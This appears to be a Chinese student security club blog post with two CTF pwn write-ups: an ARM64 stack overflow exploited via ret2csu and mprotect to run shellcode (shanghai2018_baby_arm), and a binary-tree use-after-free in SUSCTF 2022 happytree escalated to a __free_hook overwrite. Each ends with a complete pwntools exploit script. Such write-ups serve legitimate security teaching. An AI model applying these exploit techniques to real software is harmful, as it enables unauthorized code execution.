皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2020级 大能猫 | ARM再探-[复现]shanghai2018_baby_arm
-
前置知识
-
ARM数据类型和寄存器
-
ARM指令集
-
查看程序信息
-
动态分析一下程序
-
静态分析
-
利用思路
-
exp
-
2020级 大能猫 | [2022SUSCTF]happytree
-
前言
-
例行检查
-
动态分析
-
静态分析
-
利用思路
-
exp
PWN
2020级 大能猫 | ARM再探-[复现]shanghai2018_baby_arm
文章首发于奇安信攻防社区
前置知识
ARM数据类型和寄存器
数据类型
与高级语言类似,ARM支持对不同的数据类型的操作,通常是与ldr、str这类存储加载指令一起使用:
字节序
在x86下的字序分为,大端序和小端序。这两个实际上是区别于对象的每个字节在内存中的存储顺序
ARM体系结构在版本3之前是碲酸字节序的,因为那时它是双向字节序的,这意味着它具有允许可切换字序的设置。
寄存器
寄存器的数量取决于ARM版本,ARM32有30个通用寄存器(基于ARMv6-M和ARMv7-M的处理器除外),前16个寄存器可在用户级模式下访问,其他寄存器可在特权软件执行中使用
其中,r0-15寄存器可在任何特权模式下访问。这16个寄存器可以分为两组:通用寄存器(R0-R11)和专用寄存器(R12-R15)
在32位下,R0在算数操作期间可称为累加器,或用于存储先前调用的函数结果。R7在处理器系统调用时非常有用,因为他存储的系统调用号。R11帮助我们跟踪用作帧指针的堆栈的边界。ARM平台上的函数调用约定指定函数前4个参数存储在寄存器r0-r3中
piao网上的图:
R13:sp(堆栈指针)类似于esp、R14:lr(链接寄存器)、R15:pc(程序计数器)
ARM与x86的对比:
32位ARM的约定
1.当参数少于4个时,子程序间通过寄存器RO-R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复RO-R3的值
2.在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存
3. R13用作数据帧指针,记作SP;R14用作链接寄存器,记作LR,用于保存子程序返回时的地址;R15是程序计数器,记作PC
4. ATPCS规定堆栈是满递减堆栈FD;返回32位的整数,使用RO返回;返回G位,R1返回高位
64位ARM的约定
另:子程序调用时必须要保存的寄存器:X19-X29和SP(X31)、不需要保存的寄存器:XO-X7、X9-X15
32位与64位寄存器的差异
栈arm32下,前4个参数是通过r0-r3传递,第4个参数需要通过sp访问,第五个参数需要通过sp+4访问,以此类推
arm64下,前8个参数时通过x0-x7传递,第9个参数需要通过sp访问,第10个参数需要通过sp+8访问,以此类推
ARM指令在32位和64位下并不是完全是一致的,但大部分指令时通用的。
还有一些32位存在的指令在64位下是不存在的,比如vswp。
ARM指令集
ARM处理器具有两种可以运行的主要状态:ARM、Thumb
这两种状态之间的主要区别是指令集,其中ARM状态下的指令始终为32位,Thumb状态下的指令集始终为16位
在编写ARM shellcode时,我们需要摆脱NULL字节,并使用16位Thumb指令而不是32位ARM指令来减少它们的机会。
ARM指令简介
汇编语言由指令构成,而指令是主要的构建块。ARM指令通常后跟一个或两个操作数,并且通常使用一下模板:
MNEMONIC {S} {condition} {Rd},Operand1,Operand2
由于ARM指令集的灵活性,并非所有指令都使用模板中提供的所有字段。其中,条件字段与CPSR寄存器的值紧密相关,或者确切的说,与寄存器内特定位的值紧密相关
32位ARM指令
因为ARM使用加载存储模型进行内存访问,这意味着只有加载/存储(LDR和STR)指令才能访问内存
通常,LDR用于将某些内容从内存加载带寄存器中,而STR用于将某些内容从寄存器存储到内存之中
条件执行
ARM32与ARM64常用指令对应关系
查看程序信息
64位程序,ARM框架,动态链接。
查看保护机制:
只开启了NX保护,还有部分RELRO
动态分析一下程序
是ARM框架下的题目,要用qemu模拟运行一下,一共是两个输入点,第一个输入点powercat,第二个输入点cat,单是这样猜测的话,程序的漏洞极有可能是栈溢出。在静态分析之前先对两个输入点进行一个测试。
第一个输入点:
这样看来,栈溢出的点应该不在第一个输入点,应该是第二个输入点存在漏洞吧。
第二个输入点:不错,应该是在意料之内,输入较长的字符串会出现Segmentation fault的报错,应该这就是栈溢出的输入点。
静态分析
main函数,很简单的,代码量很少。大概就是输入名字之后(name存储在bss段上,然后进入函数sub_4007F0
bss段上的全局变量unk_411068
进入函数sub_4007F0查看,v1所占的空间并不大而我们能够输入0x200的数据就能够干好多事情。
我们在查看函数的时候,发现了mprotect函数,这算是比较走运的,可以利用这个函数将bss的权限设置成可读可写可执行,函数的使用方法如下:
int mprotect(const void *start, size_t len, int prot);
利用思路
可以先将构造出的shellcode利用第一个输入点传入到bss段上,然后利用mmprotect将bss段设置成可执行的。之后利用栈溢出将执行流到bss段。首先要考虑的就是传参问题,64位下arm和x86框架下的函数传参是不一样的。在x86_64的框架下,函数调用约定是从第一个到第六个参数,按顺序是在寄存器rdi、rsi、rdx,rcx,r8,r9,从第七个参数开始就从stack中按照先进后出的规律进行取参。在ARM框架下,函数调用约定传参,当参数少于4个参数的时候是通过寄存器r0-r3来传参,多于四个参数的时候就开始利用stack内传参。其实这种题目除了程序的调试方法之外,还有汇编的一些不同,其他的情况下做题思路和方法都是和x86框架下的题目都是一样的。
所以我们在利用mprotect函数的时候传参是利用r0,r1,r2这三个寄存器。利用之后将函数的返回地址指向shellcode的地方
着手做
首先要解决的问题是怎么传参,将参数传入寄存器中,类比x86框架下的题目利用,这时我们需要去寻找一个或者几个gadget将参数传递到相应的参数寄存器中。
一开始我利用ROPgadget去寻找一些对应寄存器的gadget,不过很可惜找不到然后我就去巴拉巴拉ida汇编窗口(其实我并没有发现什么,我是看了wp之后才意识到这两段汇编是不正常的(确实是arm框架下的汇编不太熟练。一开始看到arm汇编没有意识到,将其转化为x86形式的汇编看起来就不错,这就是之前见到过的ret2csu利用方式。
来一段一段的去分析,我们姑且先叫下面的汇编代码段为:gadget1、上面的汇编代码段为gadget2。
整体上来说ret2csu的过程就是,先从栈上将数据写入到寄存器当中,然后通过寄存器之间的传输将参数传入相应的寄存器中。通过分析上面的函数传递关系发现:sp+0x30位置是参数二、sp+0x38的位置是参数一、sp+0x20的位置是参数三。这样我们在第二个输入点输入数据的时候就可以调整一下数据的位置来将相应的参数传入到相应的寄存器当中。
还有一点就是在gadget2中,x19+1会和x20进行比较,需要满足x19+1=x20才能使程序不去跳转至loc_400BAC.
然后需要搞清楚每个参数是什么,同样先回到mprotect本身
int mprotect(const void *start, size_t len, int prot);
x0参数一,是bss段中shellcode的起始地址。
x1参数二,从shellocde起始地址开始赋予可执行权限的大小。
x2参数三,权限所对应的代码
x3跳转执行的函数地址
掌握到了对应的寄存器需要的参数,就可以根据传参的对应关系去寻找到相应的位置去写入对应的参数
参数一写入sp+0x38,参数二写入sp+0x30,参数三写入sp+0x20
在此之后开始分析栈内的情况:
分配给栈内变量的大小只有这么多,所以需要有72即0x48的垃圾数据来填充上。
将返回地址设置成gadget1来将参数传入到寄存器里面,此时ret+8的地址为sp。按照前面所分析的位置信息我们不难得出payload的结构
payload = 'a'*0x48
payload += p64(gadget1)#sp-0x8
payload += p64(0)#sp 填入垃圾数据即可
payload += p64(gadget2)#sp+0x8 填入执行完gadget1所要返回的地址
payload += p64(0x0)#sp+0x10 之后会传入x19+1和x20进行比较
payload += p64(0x1)#sp+0x18 传入x20与x19+1进行比较
payload += p64(mprotect_addr)#sp+0x20,传入寄存器x3中在执行gadget2的时候跳转执行(已经是在传参完成之后
payload += p64(0x7)#sp+0x28 函数mprotect的权限代码
payload += p64(0x1000)#sp+0x30 获得权限的范围
payload += p64(0)#垃圾数据占位
payload += p64(shellcode_addr)#最后返回到shellcode去执行
部署shellcode
利用第一个输入点,将shellcode写入到bss段中:
这里需要注意的使在利用pwntools进行shellcode生成的时候,不能习惯的使用x86框架下的生成方式shellcraft.sh()生成的默认是x86下的shellcode,在arm框架下去执行其实并不奏效,这也是我在做arm的时候踩到的一些坑。
shellcode = asm(shellcraft.aarch64.sh())
payload = ''
payload += p64(mprotect)
payload += shellcode
sl(payload)
这样的话很容易就能总结出exp来:
exp
#encoding = utf-8
import sys
import time
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
context.arch = 'aarch64'
context.os = 'linux'
binary = "pwn"
libcelf = ""
ip = ""
port = ""
local = 1
arm = 1
core = 64
og = [0x4342,0x3342]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'x00'))
uu64 = lambda data :u64(data.ljust(8,'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
if(local==1):
if(arm==1):
if(core==64):
p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
if(core==32):
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(binary)
else:
p = remote(ip,port)
elf = ELF(binary)
libc = ELF(libcelf)
mprotect_plt = elf.plt['mprotect']
gadget1 = 0x4008CC
gadget2 = 0x4008AC
mprotect_addr = 0x411068#bss
shellcode_addr = 0x411070
shellcode = asm(shellcraft.aarch64.sh())
def pwn():
payload = p64(mprotect_plt)
payload += shellcode
sa('Name:',payload)
payload = 'a'*0x48
payload += p64(gadget1)#sp-0x8
payload += p64(0)#sp 填入垃圾数据即可
payload += p64(gadget2)#sp+0x8 填入执行完gadget1所要返回的地址
payload += p64(0x0)#sp+0x10 之后会传入x19+1和x20进行比较
payload += p64(0x1)#sp+0x18 传入x20与x19+1进行比较
payload += p64(mprotect_addr)#sp+0x20,传入寄存器x3中在执行gadget2的时候跳转执行(已经是在传参完成之后
payload += p64(0x7)#sp+0x28 函数mprotect的权限代码
payload += p64(0x1000)#sp+0x30 获得权限的范围
payload += p64(0)#垃圾数据占位
payload += p64(shellcode_addr)#最后返回到shellcode去执行
s(payload)
itr()
#爆破
'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''
if __name__ == '__main__':
pwn()
运行结果:
奏效!
2020级 大能猫 | [2022SUSCTF]happytree
前言
知道是个二叉搜索树引起的use after free但是就是不知道怎么才能泄露libc地址,呜呜呜,一直到比赛结束这种题被打烂了也没有做出来,只泄露了堆地址呜呜呜。
例行检查
64位,保护全开
cpp写的,分析起来应该是比较费劲
动态分析
经典的菜单题,增删改,看起来不算太糟糕
增
需要输入data content两个信息,猜测data应该就是size
删
通过data来删除堆块,似乎是以size为index
查
也是通过data来查的,
既然操作堆块都是以data为索引的,不如就试试使用相同的data是什么样子。
使用相同的data的话就不会让用户输入content,意思就是程序不允许存在两块堆块的data相同。
接下来就要进行静态分析来验证猜想。
静态分析
mian函数
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
int v4; // [rsp+0h] [rbp-10h] BYREF
unsigned int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
sub_C3A(); // 3s
while ( 1 )
{
while ( 1 )
{
sub_C9B(); // 菜单 增删查,没有改
std::istream::operator>>(&std::cin, &v4); // inputn
if ( v4 != 2 )
break;
v5 = input_data();
qword_2022A0 = (__int64)sub_116C(qword_2022A0, (_QWORD *)qword_2022A0, v5);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
v5 = input_data();
sub_FBE(qword_2022A0, qword_2022A0, v5);
}
else
{
if ( v4 == 4 )
exit(0);
LABEL_13:
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Invaild Command");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
}
else
{
if ( v4 != 1 ) // 插入堆块
goto LABEL_13;
v5 = input_data();
qword_2022A0 = add(qword_2022A0, qword_2022A0, v5);// 将全局变量qword2022A0设置成申请的堆块地址
}
}
}
这里面有个比较关键的全局变量
qword_2022A0
存在于bss段上,本身是没有值的
然后我们根据菜单的顺序进入功能性函数去看看
add函数
进入add看看
大概就是判断主节点有没有堆块,如果有则按照左小右大的规则放置进去,仔细看是一个二叉查找树按照左小右大的规律整的。以每块堆块的data作为索引来进行二叉树结构分配堆块。
分析出堆块的结构
struct content{
int size;//对齐8字节
char *text;
content *bk;//size小 左
content *fd;//size大 右
}
delete函数
进入delete函数查看
发现函数中delete函数中删除堆块之后,没有将堆块的指针置零,造成了use after free
在删除根节点的时候,会把他的第一个右子树的最小左子树和根节点内容呼唤然后删除最小左子树的堆块,但是删除堆块的时候左右子树的指针并未清空,如果重新将其malloc出来就会导致原来被删除的那个节点他的左右子树的指针仍然得到保留。
_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3)
{
_QWORD *v4; // [rsp+10h] [rbp-20h]
_DWORD *v5; // [rsp+20h] [rbp-10h]
v4 = a2;
if ( !a2 )
return 0LL;
if ( (signed int)a3 >= *(_DWORD *)a2 )
{
if ( (signed int)a3 <= *(_DWORD *)a2 )
{
if ( a2[2] && a2[3] )
{
v5 = (_DWORD *)sub_F72(a1, a2[3]);
*(_DWORD *)a2 = *v5;
a2[3] = delete(a1, a2[3], (unsigned int)*v5);
}
else
{
if ( a2[2] )
{
if ( !a2[3] )
v4 = (_QWORD *)a2[2];
}
else
{
v4 = (_QWORD *)a2[3];
}
operator delete((void *)a2[1], 1uLL);
operator delete(a2, 0x20uLL);
}
}
else
{
a2[3] = delete(a1, a2[3], a3);
}
}
else
{
a2[2] = delete(a1, a2[2], a3);
}
return v4;
}
show函数
就是一个正常的show函数
__int64 __fastcall sub_FBE(__int64 a1, __int64 a2, int a3)
{
__int64 result; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // [rsp+28h] [rbp-8h]
result = a2;
v6 = a2;
if ( a2 )
{
while ( v6 )
{
if ( a3 == *(_DWORD *)v6 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8));
return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
if ( a3 <= *(_DWORD *)v6 )
result = *(_QWORD *)(v6 + 16);
else
result = *(_QWORD *)(v6 + 24);
v6 = result;
}
}
else
{
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
return std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
return result;
}
利用思路
我们有了上面的逆向的漏洞分析,那么我们就可以有了一些利用思路。我们可以利用重新申请出的堆块和里面所保留的指针,进行一次double free,直接将free_hook修改为system,然后执行即可:
首先要做的是leak heap
leak_heap
由于我们在将堆块申请回来的时候,不会将堆块中的内容清空,所以我们可以想办法将某个节点的节点堆块申请为content堆块,这样节点队中fd和bk中的左右堆块都没有被置空,这样的话利用show就可以leak heap地址。
add(0x21,'a')
add(0x10,'a')
delete(0x21)
delete(0x10)
add(0x20,'a')
show(0x20)
heap_base = u64(ru('x0a')[-6:]+b'x00'*2) - 0x11e61
print(hex(heap_base))
成功泄露堆的基地址。
leak_libc
leaklibc需要有一个unsortedbin来进行,但是我们能申请最大的堆块只有0x100,属于fastbin,那我们如何去获得ub哇?
我们发现heap列表里面有两个这个样的堆块,第一个是tcachebin的管理结构,另一个我确实不知道是干嘛的(但是不重要。我们就像办法去free掉比较大的这个堆块进入到unsortedbin中去,然后申请回来show来leak地址
这样的话,问题就来了,怎么去free掉这个堆块呐。哎!对了,我比赛的时候就卡在这了
###############################去看wp了芜湖##############################
回来了,wp上是申请了一块0xa0得堆块,然后再堆块里面伪造了一个0x30的节点然后将这个节点的content堆块设置成我们要free的堆块,然后delete(0x30)的时候程序会寻找到这个并且将其free掉这样的话我们就得到了ub堆块来泄露libc
add(0x20,p64(0)*3+p64(heap_base+0x11e00+0x140))
delete(0x20)
add(0x90,p64(0)*3+p64(0x31)+p64(0x30)+p64(heap_base + 0x260))
add(0x20,'a')
delete(0x30)
add(0x30,'a')
show(0x30)
libcbase = u64(ru('x0a')[-6:].ljust(8,b'x00')) - 0x3ec461
print(hex(libcbase))
成功泄露!
劫持free_hook
同样的道理,我们可以通过uaf构造一个double free来实现劫持,恰好是ubuntu18没有检测df的那个版本。
free_hook = libcbase + libc.sym['__free_hook']
sys_addr = libcbase + libc.sym['system']
delete(0x90)
add(0x90,p64(0)*3+p64(0x31)+p64(0x30)+p64(heap_base+0x11e00+0x100)+p64(0)*3+p64(0x21))
delete(0x30)
add(0x18,p64(free_hook))
add(0x17,b'/bin/shx00')
add(0x16,p64(sys_addr))
delete(0x17)
exp
#encoding = utf-8
import sys
import time
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'
binary = "happytree"
libcelf = "libc.so.6"
ip = ""
port = ""
local = 1
arm = 0
core = 64
og = [0x4342,0x3342]
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'x00'))
uu64 = lambda data :u64(data.ljust(8,'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
if(local==1):
if(arm==1):
if(core==64):
p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
if(core==32):
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(binary)
else:
p = remote(ip,port)
elf = ELF(binary)
libc = ELF(libcelf)
def choice(cho):
sla('cmd>',str(cho))
def add(data,payload):
choice(1)
sla('data:',str(data))
sa('content:',payload)
def delete(data):
choice(2)
sla('data:',str(data))
def show(data):
choice(3)
sla('data:',str(data))
def leak_libc(addr):
global libc_base,mh,fh,system,binsh_addr,_IO_2_1_stdout_,realloc
libc_base = addr - libc.sym['puts']
leak("libc base ",libc_base)
mh = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
realloc = libc_base + libc.sym['realloc']
fh = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
def pwn():
#################################leak_heap################################
add(0x21,'a')
add(0x10,'a')
delete(0x21)
delete(0x10)
add(0x20,'a')
show(0x20)
heap_base = u64(ru('x0a')[-6:]+b'x00'*2) - 0x11e61
print(hex(heap_base))
delete(0x20)
#################################leak_libc################################
add(0x20,p64(0)*3+p64(heap_base+0x11e00+0x140))
delete(0x20)
add(0x90,p64(0)*3+p64(0x31)+p64(0x30)+p64(heap_base + 0x260))
add(0x20,'a')
delete(0x30)
add(0x30,'a')
show(0x30)
libcbase = u64(ru('x0a')[-6:].ljust(8,b'x00')) - 0x3ec461
print(hex(libcbase))
#gdb.attach(p)
##########################################################################
free_hook = libcbase + libc.sym['__free_hook']
sys_addr = libcbase + libc.sym['system']
delete(0x90)
add(0x90,p64(0)*3+p64(0x31)+p64(0x30)+p64(heap_base+0x11e00+0x100)+p64(0)*3+p64(0x21))
delete(0x30)
add(0x18,p64(free_hook))
add(0x17,b'/bin/shx00')
add(0x16,p64(sys_addr))
delete(0x17)
#gdb.attach(p)
itr()
'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''
if __name__ == '__main__':
pwn()
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 2022.03.10 ARM再探 & [2022SUSCTF]happytree
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论